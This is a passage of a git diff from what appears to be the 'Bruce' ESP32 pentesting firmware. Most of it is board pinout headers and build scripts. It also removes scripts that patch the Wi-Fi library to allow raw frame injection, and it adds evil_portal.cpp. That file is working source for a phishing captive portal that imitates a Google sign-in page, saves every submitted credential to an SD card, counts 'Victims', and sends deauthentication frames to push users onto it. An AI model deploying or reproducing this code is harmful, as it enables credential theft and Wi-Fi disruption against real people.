use +#define HAS_KEYBOARD_HID //has keyboard to use +#define KB_HID_EXIT_MSG "fn + esc to exit" + +static const uint8_t TX = 1; +static const uint8_t RX = 3; + +static const uint8_t TXD2 = 17; +static const uint8_t RXD2 = 16; + +static const uint8_t SDA = 21; +static const uint8_t SCL = 22; + +static const uint8_t SS = 5; +static const uint8_t MOSI = 23; +static const uint8_t MISO = 19; +static const uint8_t SCK = 18; + +static const uint8_t G23 = 23; +static const uint8_t G19 = 19; +static const uint8_t G18 = 18; +static const uint8_t G3 = 3; +static const uint8_t G16 = 16; +static const uint8_t G21 = 21; +static const uint8_t G2 = 2; +static const uint8_t G12 = 12; +static const uint8_t G15 = 15; +static const uint8_t G35 = 35; +static const uint8_t G36 = 36; +static const uint8_t G25 = 25; +static const uint8_t G26 = 26; +static const uint8_t G1 = 1; +static const uint8_t G17 = 17; +static const uint8_t G22 = 22; +static const uint8_t G5 = 5; +static const uint8_t G13 = 13; +static const uint8_t G0 = 0; +static const uint8_t G34 = 34; + +static const uint8_t DAC1 = 25; +static const uint8_t DAC2 = 26; + +static const uint8_t ADC1 = 35; +static const uint8_t ADC2 = 36; + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/m5stack-core2.h b/boards/pinouts/m5stack-core2.h new file mode 100644 index 00000000..dcfc9935 --- /dev/null +++ b/boards/pinouts/m5stack-core2.h @@ -0,0 +1,52 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include + +#define TX2 14 +#define RX2 13 + +static const uint8_t TX = 1; +static const uint8_t RX = 3; + +static const uint8_t SDA = 32; +static const uint8_t SCL = 33; + +static const uint8_t SS = 5; +static const uint8_t MOSI = 23; +static const uint8_t MISO = 38; +static const uint8_t SCK = 18; + +static const uint8_t G23 = 23; +static const uint8_t G38 = 38; +static const uint8_t G18 = 18; +static const uint8_t G3 = 3; +static const uint8_t G13 = 13; +static const uint8_t G21 = 21; +static const uint8_t G32 = 32; +static const uint8_t G27 = 27; +static const uint8_t G2 = 2; +static const uint8_t G35 = 35; +static const uint8_t G36 = 36; +static const uint8_t G25 = 25; +static const uint8_t G26 = 26; +static const uint8_t G1 = 1; +static const uint8_t G14 = 14; +static const uint8_t G22 = 22; +static const uint8_t G33 = 33; +static const uint8_t G19 = 19; +static const uint8_t G0 = 0; +static const uint8_t G34 = 34; + +static const uint8_t G12 = 12; +static const uint8_t G15 = 15; +static const uint8_t G17 = 17; +static const uint8_t G5 = 5; + +static const uint8_t DAC1 = 25; +static const uint8_t DAC2 = 26; + +static const uint8_t ADC1 = 35; +static const uint8_t ADC2 = 36; + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/m5stack-cores3.h b/boards/pinouts/m5stack-cores3.h new file mode 100644 index 00000000..1cab33ba --- /dev/null +++ b/boards/pinouts/m5stack-cores3.h @@ -0,0 +1,124 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +#define USB_VID 0x303a +#define USB_PID 0x1001 + +// Some boards have too low voltage on this pin (board design bug) +// Use different pin with 3V and connect with 48 +// and change this setup for the chosen pin (for example 38) +static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT + 48; +#define BUILTIN_LED LED_BUILTIN // backward compatibility +#define LED_BUILTIN LED_BUILTIN +#define RGB_BUILTIN LED_BUILTIN +#define RGB_BRIGHTNESS 64 + +static const uint8_t TX = 43; +static const uint8_t RX = 44; + +static const uint8_t TXD2 = 17; +static const uint8_t RXD2 = 18; + +static const uint8_t SDA = 12; +static const uint8_t SCL = 11; + +static const uint8_t SS = 15; +static const uint8_t MOSI = 37; +static const uint8_t MISO = 35; +static const uint8_t SCK = 36; + +static const uint8_t G0 = 0; +static const uint8_t G1 = 1; +static const uint8_t G2 = 2; +static const uint8_t G3 = 3; +static const uint8_t G4 = 4; +static const uint8_t G5 = 5; +static const uint8_t G6 = 6; +static const uint8_t G7 = 7; +static const uint8_t G8 = 8; +static const uint8_t G9 = 9; +static const uint8_t G11 = 11; +static const uint8_t G12 = 12; +static const uint8_t G13 = 13; +static const uint8_t G14 = 14; +static const uint8_t G17 = 17; +static const uint8_t G18 = 18; +static const uint8_t G19 = 19; +static const uint8_t G20 = 20; +static const uint8_t G21 = 21; +static const uint8_t G33 = 33; +static const uint8_t G34 = 34; +static const uint8_t G35 = 35; +static const uint8_t G36 = 36; +static const uint8_t G37 = 37; +static const uint8_t G38 = 38; +static const uint8_t G45 = 45; +static const uint8_t G46 = 46; + +static const uint8_t ADC = 10; + + +#define HAS_RTC +#define USB_as_HID + +#define HAS_TOUCH + +#define ALLOW_ALL_GPIO_FOR_IR_RF + +#define LED GROVE_SDA +#define LED_ON HIGH +#define LED_OFF LOW + +// Font sizes +#define FP 1 +#define FM 2 +#define FG 3 + +// Screen Setup +#define HAS_SCREEN +#define ROTATION 1 + +// TFT_eSPI Setup +#define USER_SETUP_LOADED +#define ILI9341_DRIVER +#define TFT_INVERSION_ON +#define USE_HSPI_PORT +#define M5STACK +#define TFT_HEIGHT 320 +#define TFT_WIDTH 240 +#define TFT_MOSI MOSI +#define TFT_MISO MISO +#define TFT_SCLK SCK +#define TFT_CS G3 +#define TFT_DC G35 +#define TFT_RST -1 +#define TFT_BL -1 +#define TOUCH_CS -1 +#define SMOOTH_FONT 1 +#define SPI_FREQUENCY 20000000 +#define SPI_READ_FREQUENCY 20000000 +#define SPI_TOUCH_FREQUENCY 2500000 + + +#define BTN_ALIAS '"Ok"' +#define BTN_PIN -1 +#define BTN_ACT LOW + +// SD Card Setup pins +#define SDCARD_CS G4 +#define SDCARD_SCK SCK +#define SDCARD_MISO MISO +#define SDCARD_MOSI MOSI + +// Default I2C port +#define GROVE_SDA 32 +#define GROVE_SCL 33 + +#define SPI_SCK_PIN 0 +#define SPI_MOSI_PIN GROVE_SDA +#define SPI_MISO_PIN GROVE_SCL +#define SPI_SS_PIN 26 +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/m5stack-cplus1_1.h b/boards/pinouts/m5stack-cplus1_1.h new file mode 100644 index 00000000..35092416 --- /dev/null +++ b/boards/pinouts/m5stack-cplus1_1.h @@ -0,0 +1,36 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include + +static const uint8_t TX = 1; +static const uint8_t RX = 3; + +static const uint8_t TXD2 = 33; +static const uint8_t RXD2 = 32; + +static const uint8_t SDA = 32; +static const uint8_t SCL = 33; + +static const uint8_t SS = 5; +static const uint8_t MOSI = 15; +static const uint8_t MISO = 36; +static const uint8_t SCK = 13; + +static const uint8_t G9 = 9; +static const uint8_t G10 = 10; +static const uint8_t G37 = 37; +static const uint8_t G39 = 39; +static const uint8_t G32 = 32; +static const uint8_t G33 = 33; +static const uint8_t G26 = 26; +static const uint8_t G36 = 36; +static const uint8_t G0 = 0; + +static const uint8_t DAC1 = 25; +static const uint8_t DAC2 = 26; + +static const uint8_t ADC1 = 35; +static const uint8_t ADC2 = 36; + +#endif /* Pins_Arduino_h */ diff --git a/boards/pinouts/m5stack-cplus2.h b/boards/pinouts/m5stack-cplus2.h new file mode 100644 index 00000000..91808918 --- /dev/null +++ b/boards/pinouts/m5stack-cplus2.h @@ -0,0 +1,33 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include + +static const uint8_t TX = 1; +static const uint8_t RX = 3; + +static const uint8_t SDA = 32; +static const uint8_t SCL = 33; + +static const uint8_t SS = 5; +static const uint8_t MOSI = 15; +static const uint8_t MISO = 36; +static const uint8_t SCK = 13; + +static const uint8_t G9 = 9; +static const uint8_t G10 = 10; +static const uint8_t G37 = 37; +static const uint8_t G39 = 39; +static const uint8_t G32 = 32; +static const uint8_t G33 = 33; +static const uint8_t G26 = 26; +static const uint8_t G36 = 36; +static const uint8_t G0 = 0; + +static const uint8_t DAC1 = 25; +static const uint8_t DAC2 = 26; + +static const uint8_t ADC1 = 35; +static const uint8_t ADC2 = 36; + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/pins_arduino.h b/boards/pinouts/pins_arduino.h new file mode 100644 index 00000000..026ba536 --- /dev/null +++ b/boards/pinouts/pins_arduino.h @@ -0,0 +1,23 @@ +#ifdef T_EMBED_1101 +#include "lilygo-t-embed-cc1101.h" +#elif T_EMBED +#include "lilygo-t-embed.h" +#elif T_DECK +#include "lilygo-t-deck.h" +#elif ARDUINO_M5STACK_CARDPUTER +#include "m5stack-cardputer.h" +#elif CYD_2432S028 +#include "CYD-2432S028.h" +#elif ARDUINO_M5STACK_CORE +#include "m5stack-core.h" +#elif ARDUINO_M5STACK_CORES3 +#include "m5stack-cores3.h" +#elif ARDUINO_M5STACK_CORE2 +#include "m5stack-core2.h" +#elif ARDUINO_M5STICK_C_PLUS +#include "m5stack-cplus1_1.h" +#elif ARDUINO_M5STICK_C_PLUS2 +#include "m5stack-cplus2.h" +#elif ESP32S3DEVKITC1 +#include "ESP-General.h" +#endif diff --git a/boards/pinouts/variant.cpp b/boards/pinouts/variant.cpp new file mode 100644 index 00000000..ac53c414 --- /dev/null +++ b/boards/pinouts/variant.cpp @@ -0,0 +1,2 @@ +#define digitalWrite(pin, level) gpio_set_level((gpio_num_t)pin, level) +#define digitalRead(pin) gpio_get_level((gpio_num_t)pin) \ No newline at end of file diff --git a/build.bat b/build.bat deleted file mode 100644 index 603f1afa..00000000 --- a/build.bat +++ /dev/null @@ -1,13 +0,0 @@ -esptool --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio\build\m5stack-cardputer\bootloader.bin 0x8000 .pio\build\m5stack-cardputer\partitions.bin 0x10000 .pio\build\m5stack-cardputer\firmware.bin - -esptool --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio\build\m5stack-cplus2\bootloader.bin 0x8000 .pio\build\m5stack-cplus2\partitions.bin 0x10000 .pio\build\m5stack-cplus2\firmware.bin - -esptool --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio\build\m5stack-cplus1_1\bootloader.bin 0x8000 .pio\build\m5stack-cplus1_1\partitions.bin 0x10000 .pio\build\m5stack-cplus1_1\firmware.bin - -esptool --chip esp32 merge_bin --output Bruce3_core2.bin 0x1000 .pio/build/m5stack-core2/bootloader.bin 0x8000 .pio/build/m5stack-core2/partitions.bin 0x10000 .pio/build/m5stack-core2/firmware.bin - -esptool --chip esp32 merge_bin --output Bruce3_core.bin 0x1000 .pio/build/m5stack-core/bootloader.bin 0x8000 .pio/build/m5stack-core/partitions.bin 0x10000 .pio/build/m5stack-core/firmware.bin - -esptool --chip esp32 merge_bin --output Bruce3_core4mb.bin 0x1000 .pio/build/m5stack-core4mb/bootloader.bin 0x8000 .pio/build/m5stack-core4mb/partitions.bin 0x10000 .pio/build/m5stack-core4mb/firmware.bin - -esptool --chip esp32s3 merge_bin --output Bruce3_T-Embed_CC1101.bin 0x0 .pio\build\lilygo-t-embed-cc1101\bootloader.bin 0x8000 .pio\build\lilygo-t-embed-cc1101\partitions.bin 0x10000 .pio\build\lilygo-t-embed-cc1101\firmware.bin \ No newline at end of file diff --git a/build.py b/build.py new file mode 100644 index 00000000..467b42be --- /dev/null +++ b/build.py @@ -0,0 +1,6 @@ +Import("env") +env.AddCustomTarget( + "build-firmware", + ["$BUILD_DIR/bootloader.bin","$BUILD_DIR/partitions.bin","$BUILD_DIR/firmware.bin"], + 'pio pkg exec -p "tool-esptoolpy" -- esptool.py --chip ${BOARD_MCU} merge_bin --output Bruce_${PIOENV}.bin 0x0 ${BUILD_DIR}\\bootloader.bin 0x8000 ${BUILD_DIR}\\partitions.bin 0x10000 ${BUILD_DIR}\\firmware.bin' +) \ No newline at end of file diff --git a/build.sh b/build.sh deleted file mode 100755 index 7f5456d5..00000000 --- a/build.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/bash -ESPTOOL_PATH="$HOME/.local/bin" -ESPTOOL=$([[ -f $ESPTOOL_PATH/esptool.py ]] && echo "$ESPTOOL_PATH/esptool.py" || echo "$ESPTOOL_PATH/esptool") - -$ESPTOOL --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio/build/m5stack-cardputer/bootloader.bin 0x8000 .pio/build/m5stack-cardputer/partitions.bin 0x10000 .pio/build/m5stack-cardputer/firmware.bin -$ESPTOOL --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio/build/m5stack-cplus2/bootloader.bin 0x8000 .pio/build/m5stack-cplus2/partitions.bin 0x10000 .pio/build/m5stack-cplus2/firmware.bin -$ESPTOOL --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio/build/m5stack-cplus1_1/bootloader.bin 0x8000 .pio/build/m5stack-cplus1_1/partitions.bin 0x10000 .pio/build/m5stack-cplus1_1/firmware.bin -$ESPTOOL --chip esp32 merge_bin --output Bruce3_core2.bin 0x1000 .pio/build/m5stack-core2/bootloader.bin 0x8000 .pio/build/m5stack-core2/partitions.bin 0x10000 .pio/build/m5stack-core2/firmware.bin -$ESPTOOL --chip esp32 merge_bin --output Bruce3_core16mb.bin 0x1000 .pio/build/m5stack-core16mb/bootloader.bin 0x8000 .pio/build/m5stack-core16mb/partitions.bin 0x10000 .pio/build/m5stack-core16mb/firmware.bin -$ESPTOOL --chip esp32 merge_bin --output Bruce3_core4mb.bin 0x1000 .pio/build/m5stack-core4mb/bootloader.bin 0x8000 .pio/build/m5stack-core4mb/partitions.bin 0x10000 .pio/build/m5stack-core4mb/firmware.bin diff --git a/clean.sh b/clean.sh deleted file mode 100755 index 05da95ca..00000000 --- a/clean.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/bash -rm -f Bruce3_* \ No newline at end of file diff --git a/deauth_setup.bat b/deauth_setup.bat deleted file mode 100644 index 0fb11fa6..00000000 --- a/deauth_setup.bat +++ /dev/null @@ -1,31 +0,0 @@ -@echo off -setlocal enabledelayedexpansion - -rem Define file paths -set "esp32_file=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32\lib\libnet80211.a" -set "esp32s3_file=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32s3\lib\libnet80211.a" - -set "esp32_file2=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32\lib\libnet80211_temp.a" -set "esp32s3_file2=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32s3\lib\libnet80211_temp.a" - -rem Now execute objcopy commands (only if backups were created) -"%userprofile%"\.platformio\packages\toolchain-xtensa-esp32\xtensa-esp32-elf\bin\objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check "%esp32_file%" "%esp32_file2%" - -rem Rename the original file to .old -ren "%esp32_file%" "libnet80211.a.old" - -rem Rename the _temp to original -ren "%esp32_file2%" "libnet80211.a" - -rem Now execute objcopy commands (only if backups were created) -"%userprofile%"\.platformio\packages\toolchain-xtensa-esp32s3\xtensa-esp32s3-elf\bin\objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check "%esp32s3_file%" "%esp32s3_file2%" - -rem Rename the original file to .old -ren "%esp32s3_file%" "libnet80211.a.old" - -rem Rename the _temp to original -ren "%esp32s3_file2%" "libnet80211.a" - - -PAUSE - diff --git a/deauth_setup.sh b/deauth_setup.sh deleted file mode 100755 index 8504357a..00000000 --- a/deauth_setup.sh +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/bash - -# Define paths with proper home expansion - -pio pkg install -p espressif32 -t toolchain-xtensa32 - -esp32_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211.a" -esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211.a" - -esp32_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211_temp.a" -esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211_temp.a" - -# Definir caminhos para as ferramentas objcopy -toolchain_esp32="$HOME/.platformio/packages/toolchain-xtensa-esp32/xtensa-esp32-elf/bin/objcopy" -toolchain_esp32s3="$HOME/.platformio/packages/toolchain-xtensa-esp32s3/xtensa-esp32s3-elf/bin/objcopy" - -# Verificar se os arquivos existem antes de executar os comandos -if [[ -f "$esp32_file" && -f "$esp32s3_file" ]]; then - # Execute objcopy commands for ESP32 - $toolchain_esp32 --weaken-symbol=ieee80211_raw_frame_sanity_check "$esp32_file" "$esp32_file_temp" - - # Rename the original file to .old - mv "$esp32_file" "${esp32_file}.old" - - # Rename the _temp to original - mv "$esp32_file_temp" "$esp32_file" - - # Execute objcopy commands for ESP32-S3 - $toolchain_esp32s3 --weaken-symbol=ieee80211_raw_frame_sanity_check "$esp32s3_file" "$esp32s3_file_temp" - - # Rename the original file to .old - mv "$esp32s3_file" "${esp32s3_file}.old" - - # Rename the _temp to original - mv "$esp32s3_file_temp" "$esp32s3_file" - - echo "Done." -else - echo "One or more specified files were not found." - exit 1 -fi diff --git a/html/AsyncWebServer/evil_portal.cpp b/html/AsyncWebServer/evil_portal.cpp new file mode 100644 index 00000000..84407318 --- /dev/null +++ b/html/AsyncWebServer/evil_portal.cpp @@ -0,0 +1,305 @@ +#include "evil_portal.h" +#include "globals.h" +#include "mykeyboard.h" +#include "wifi_common.h" +#include "sd_functions.h" +#include "wifi_atks.h" + +AsyncWebServer *ep; // initialise webserver +DNSServer dnsServer; + +String html_file, ep_logo, last_cred; +String AP_name = "Free Wifi"; +int totalCapturedCredentials = 0; +int previousTotalCapturedCredentials = -1; // stupid hack but wtfe +String capturedCredentialsHtml = ""; + +// Default Drauth Frame +const uint8_t deauth_frame_default2[] = { + 0xc0, 0x00, 0x3a, 0x01, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x02, 0x00 +}; + +class CaptiveRequestHandler : public AsyncWebHandler { +public: + CaptiveRequestHandler() {} + virtual ~CaptiveRequestHandler() {} + + bool canHandle(AsyncWebServerRequest *request){ + //request->addInterestingHeader("ANY"); + return true; + } + + void handleRequest(AsyncWebServerRequest *request) { + AsyncResponseStream *response = request->beginResponseStream("text/html"); + if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network + else if(request->params()>0) { // Else if there are other parameters, store in the memory + String html_temp = "
  • "; // Else.. after all that, redirects to the page + String csvLine = ""; + last_cred=""; + for (int i = 0; i < request->params(); i++) { + AsyncWebParameter *param = request->getParam(i); + html_temp += param->name() + ": " + param->value() + "
    \n"; + // Prepara dados para salvar no SD + if (i != 0) { + csvLine += ","; + last_cred +=","; + } + csvLine += param->name() + ": " + param->value(); + last_cred += param->name().substring(0,1) + ": " + param->value(); + } + html_temp += "
  • \n"; + saveToCSV("/Bruce_creds.csv", csvLine); + capturedCredentialsHtml = html_temp + capturedCredentialsHtml; + totalCapturedCredentials++; + request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); + } + else { + request->redirect("/"); + } + } +}; + +void startEvilPortal(String tssid, uint8_t channel, bool deauth) { + int tmp=millis(); // one deauth frame each 30ms at least + bool redraw=true; + Serial.begin(115200); + // Definição da matriz "Options" + options = { + {"Default", [=]() { chooseHtml(false); }}, + {"Custom Html", [=]() { chooseHtml(true); }}, + }; + delay(200); + loopOptions(options); + + while(checkNextPress()){ yield(); } // debounce + delay(200); + // tssid="" means that are opening a virgin Evil Portal + if (tssid=="") { + AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:"); + } + else { // tssid != "" means that is was cloned and can deploy Deauth + //memcpy(ap_record.bssid, bssid, 6); + memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2)); + wsl_bypasser_send_raw_frame(&ap_record,channel); + AP_name = tssid; + } + + wifiConnected=true; + drawMainBorder(); + displayRedStripe("Starting..",TFT_WHITE,bruceConfig.priColor); + + IPAddress AP_GATEWAY(172, 0, 0, 1); + WiFi.mode(WIFI_MODE_AP); + WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); + WiFi.softAP(AP_name,emptyString,channel); + + tmp=millis(); + while(millis() - tmp < 3000) yield(); + dnsServer.start(53, "*", WiFi.softAPIP()); + ep = new AsyncWebServer(80); + + // if url isn't found + ep->onNotFound([](AsyncWebServerRequest * request) { + request->redirect("/"); + }); + + ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", creds_GET()); + }); + + ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", ssid_GET()); + }); + + ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) { + if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str(); + request->send(200, "text/html", ssid_POST()); + ep->end(); // pára o servidor + wifiDisconnect(); // desliga o WiFi + WiFi.softAP(AP_name); // reinicia WiFi com novo SSID + ep->begin(); // reinicia o servidor + previousTotalCapturedCredentials=-1; // redesenha a tela + }); + + ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", clear_GET()); + }); + + ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) { + request->send(200, "text/html", html_file); + }); + + ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP + + log_d("Total heap: %d", ESP.getHeapSize()); + log_d("Free heap: %d", ESP.getFreeHeap()); + log_d("Total PSRAM: %d", ESP.getPsramSize()); + log_d("Free PSRAM: %d", ESP.getFreePsram()); + + if(psramFound()) ep = (AsyncWebServer*)ps_malloc(sizeof(AsyncWebServer)); + else ep = (AsyncWebServer*)malloc(sizeof(AsyncWebServer)); + + new (ep) AsyncWebServer(80); + + ep->begin(); + tft.fillRect(6, 27, tftWidth-12, tftHeight-33, bruceConfig.bgColor); + + bool hold_deauth = false; + tmp=millis(); // one deauth frame each 30ms at least + redraw=true; + while(1) { + if(redraw) { + drawMainBorder(); + tft.setTextSize(FM); + tft.setTextColor(TFT_RED); + tft.drawCentreString("Evil Portal",tftWidth/2, 29, SMOOTH_FONT); + tft.setCursor(7,49); + tft.setTextColor(bruceConfig.priColor); + tft.println("AP: " + AP_name); + tft.setCursor(7,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/creds"); + tft.setCursor(7,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/ssid"); + tft.setCursor(7,tft.getCursorY()); + tft.print("Victims: "); + tft.setTextColor(TFT_RED); + tft.println(String(totalCapturedCredentials)); + tft.setCursor(7,tft.getCursorY()); + tft.setTextSize(FP); + tft.println(last_cred); + + if (deauth){ + if (hold_deauth) { + tft.setTextSize(FP); + tft.setTextColor(bruceConfig.priColor); + tft.drawRightString("Deauth OFF", tftWidth-7,tftHeight-14,SMOOTH_FONT); + } else { + tft.setTextSize(FP); + tft.setTextColor(TFT_RED); + tft.drawRightString("Deauth ON", tftWidth-7,tftHeight-14,SMOOTH_FONT); + } + } + + //menu_op.pushSprite(8,26); + redraw=false; + } + + if(!hold_deauth && (millis()-tmp) >5) { + wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed. + tmp=millis(); + } + + if(checkSelPress() && deauth) { + while(checkSelPress()) { delay(80); } // timerless debounce + hold_deauth = !hold_deauth; + redraw=true; + } + if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) { + redraw=true; + previousTotalCapturedCredentials = totalCapturedCredentials-1; + } + dnsServer.processNextRequest(); + + if(checkEscPress()) break; + + } + ep->reset(); + ep->end(); + ep->~AsyncWebServer(); + free(ep); + ep = nullptr; + + delay(100); + wifiDisconnect(); +} + +// Função para salvar dados no arquivo CSV +void saveToCSV(const String &filename, const String &csvLine) { + File file = SD.open(filename, FILE_APPEND); + if (!file) { + Serial.println("Error to open file"); + return; + } + file.println(csvLine); + file.close(); + Serial.println("data saved"); +} + +String getHtmlContents(String body) { + PROGMEM String html = + "" + "" + "" + " " + + AP_name + "" + " " + " " + " " + "" + "" + "
    " + "
    " + " " + " " + "
    " + "
    " + "
    " + " " + ep_logo + + "
    " + "
    " + + body + "
    " + "
    " + "
    " + "" + ""; + return html; +} + +String creds_GET() { + return getHtmlContents("
      " + capturedCredentialsHtml + "

    Back to Index

    Clear passwords

    "); +} + +String ssid_GET() { + return getHtmlContents("

    Set a new SSID for EVIL Portal:

    "); +} +String ssid_POST() { + return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect."); +} + +String index_GET() { + String loginTitle = String("Sign in"); + String loginSubTitle = String("Use your Google Account"); + String loginEmailPlaceholder = String("Email"); + String loginPasswordPlaceholder = String("Password"); + String loginMessage = String("Please log in to browse securely."); + String loginButton = String("Next"); + + return getHtmlContents("
    " + loginTitle + "
    " + loginSubTitle + "
    " + loginMessage + "
    "); +} +String clear_GET() { + String email = "

    "; + String password = "

    "; + capturedCredentialsHtml = "

    "; + totalCapturedCredentials = 0; + return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); +} + +void chooseHtml(bool def) { + ep_logo = ""; + if(def) { + html_file = loopSD(true); + if(html_file.endsWith(".html")) { + ep_logo = ""; + File html = SD.open(html_file, FILE_READ); + html_file = html.readString(); + } else { + html_file = index_GET(); + } + } else { + html_file = index_GET(); + } +} diff --git a/html/AsyncWebServer/evil_portal.h b/html/AsyncWebServer/evil_portal.h new file mode 100644 index 00000000..e6d9bb02 --- /dev/null +++ b/html/AsyncWebServer/evil_portal.h @@ -0,0 +1,27 @@ +#include +#include +#include "AsyncTCP.h" +#include "ESPAsyncWebServer.h" +#include +#include + +// function defaults + +void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false); + +void chooseHtml(bool def = true); + +String getHtmlContents(String body); + +String creds_GET(); + +String index_GET(); + +String clear_GET(); + +String ssid_GET(); + +String ssid_POST(); + +void saveToCSV(const String &filename, const String &csvLine); + diff --git a/html/AsyncWebServer/webInterface.cpp b/html/AsyncWebServer/webInterface.cpp new file mode 100644 index 00000000..2aa8593e --- /dev/null +++ b/html/AsyncWebServer/webInterface.cpp @@ -0,0 +1,455 @@ +#include "globals.h" +#include "webInterface.h" +#include "sd_functions.h" // using sd functions called to rename and manage sd files +#include "wifi_common.h" // using common wifisetup +#include "mykeyboard.h" // using keyboard when calling rename +#include "display.h" // using displayRedStripe as error msg + + +struct Config { + String httpuser; + String httppassword; // password to access web admin + int webserverporthttp; // http port number for web admin +}; + +// variables +// command = U_SPIFFS = 100 +// command = U_FLASH = 0 +int command = 0; +bool updateFromSd_var = false; +bool update; + +size_t file_size; + // WiFi as a Client +String default_httpuser = "admin"; +String default_httppassword = "bruce"; +const int default_webserverporthttp = 80; + +//WiFi as an Access Point +IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway + +Config config; // configuration + +AsyncWebServer *server = nullptr; // initialise webserver +const char* host = "bruce"; +const String fileconf = "/bruce.txt"; +bool shouldReboot = false; // schedule a reboot +String uploadFolder=""; + + + +/********************************************************************** +** Function: webUIMyNet +** Display options to launch the WebUI +**********************************************************************/ +void webUIMyNet() { + if (WiFi.status() != WL_CONNECTED) { + if(wifiConnectMenu()) startWebUi(false); + else { + displayError("Wifi Offline"); + } + } else { + //If it is already connected, just start the network + startWebUi(false); + } + sprite.createSprite(tftWidth-20,tftHeight-20); + // On fail installing will run the following line +} + + +/********************************************************************** +** Function: loopOptionsWebUi +** Display options to launch the WebUI +**********************************************************************/ +void loopOptionsWebUi() { + // Definição da matriz "Options" + options = { + {"my Network", [=]() { webUIMyNet(); }}, + {"AP mode", [=]() { startWebUi(true); }}, + }; + delay(200); + + loopOptions(options); + sprite.createSprite(tftWidth-20,tftHeight-20); + // On fail installing will run the following line +} + + +/********************************************************************** +** Function: humanReadableSize +** Make size of files human readable +** source: https://github.com/CelliesProjects/minimalUploadAuthESP32 +**********************************************************************/ +String humanReadableSize(uint64_t bytes) { + if (bytes < 1024) return String(bytes) + " B"; + else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB"; + else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB"; + else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB"; +} + + + +/********************************************************************** +** Function: listFiles +** list all of the files, if ishtml=true, return html rather than simple text +**********************************************************************/ +String listFiles(bool ishtml, String folder) { + String returnText = ""; + Serial.println("Listing files stored on SD"); + + if (ishtml) { + returnText += "\n"; + } + File root = SD.open(folder); + File foundfile = root.openNextFile(); + if (folder=="//") folder = "/"; + uploadFolder = folder; + String PreFolder = folder; + PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/")); + if(PreFolder=="") PreFolder= "/"; + returnText += "\n"; + + if (folder=="/") folder = ""; + while (foundfile) { + if(foundfile.isDirectory()) { + if (ishtml) { + returnText += ""; + returnText += "\n"; + returnText += "\n\n"; + } else { + returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n"; + } + } + foundfile = root.openNextFile(); + } + root.close(); + foundfile.close(); + + if (folder=="") folder = "/"; + root = SD.open(folder); + foundfile = root.openNextFile(); + while (foundfile) { + if(!(foundfile.isDirectory())) { + if (ishtml) { + returnText += "\n"; + returnText += "\n"; + returnText += "\n\n"; + } else { + returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n"; + } + } + foundfile = root.openNextFile(); + } + root.close(); + foundfile.close(); + + if (ishtml) { + returnText += "
    NameSize
    ...
